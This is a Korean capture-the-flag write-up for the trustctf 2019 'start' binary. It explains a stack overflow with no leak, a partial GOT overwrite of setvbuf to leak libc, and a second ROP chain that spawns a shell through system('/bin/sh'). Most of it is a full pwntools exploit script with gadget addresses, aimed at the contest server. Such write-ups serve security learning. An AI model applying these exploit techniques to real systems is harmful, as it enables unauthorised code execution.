trustctf 2019 start
처음에 약간 당황했는데 무리 없이 푼 문제이다.
buf
에 0x78
바이트를 입력받기 떄문에 stack overflow
가 발생한다.
취약점은 아주 간단하지만 중요한건 leak
이 없다는 것이다..
근데 이거도 그냥 setvbuf_got
의 뒤 2byte
를 바꿔서 puts_libc
로 바꿔준 후 setvbuf_plt
를 불러 leak
을 하면 된다. (이 경우 4bit bruteforcing
이 필요하다.)
물론 뒤 1byte
를 바꿔서 syscall
로 leak
을 진행해도 된다.
leak
을 진행한 후 stack
을 pivoting
하여 쉘을 부르면 된다.
from pwn import *
e = ELF('./start')
s = connect('server.trustctf.com', 10392)
#s = process(e.path, env={'LD_PRELOAD':'./libc.so.6'})
l = ELF('libc.so.6', checksec=False)
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
main = 0x4005f2
pop_rdi = 0x004006c3
pop_rsi = 0x004005ed
pop_rdx_rdi_rsi = 0x004005eb
pop_rax_rdx_rdi_rsi = 0x00000000004005ea
fuck = 0x4005c0
syscall = 0xffffffffff600007
#libc : 0x7ffff7a7c140 (<_IO_new_proc_close+304>: syscall)
#libc : 0x7ffff7a7c186 (<_IO_new_proc_close+374>: syscall)
#libc : 0x7ffff7a7c368 (<_IO_new_proc_open+200>: syscall)
#libc : 0x7ffff7a7c4b2 (<_IO_new_proc_open+530>: syscall)
#libc : 0x7ffff7a7c590 (<_IO_new_proc_open+752>: syscall)
pay = '\x00'*0x18
pay += p64(pop_rdx_rdi_rsi)
pay += p64(2)
pay += p64(0)
pay += p64(e.got['setvbuf'])
pay += p64(e.plt['read']+4)
pay += p64(pop_rdi)
pay += p64(e.got['__libc_start_main'])
pay += p64(e.plt['setvbuf'])
pay += p64(main)
s.send(pay)
s.send('\x90\xc6')
l_base = u64(s.recv(6).ljust(8, '\x00')) - l.symbols['__libc_start_main']
print('l_base!: {}'.format(hex(l_base)))
system = l_base + l.symbols['system']
binsh = l_base + 0x18cd57
pay = '\x00'*0x18
pay += p64(pop_rdi)
pay += p64(binsh)
pay += p64(system)
s.send(pay)
io()
'system > writeup' 카테고리의 다른 글
hackingcamp 2019 can you get shell? (0) | 2019.02.19 |
---|---|
trustctf 2019 abyss (2) | 2019.02.15 |
trustctf 2019 로꾸꺼 (3) | 2019.02.15 |
hitcon 2016 house of orange (0) | 2019.02.13 |
pwnable.tw babystack (0) | 2019.02.11 |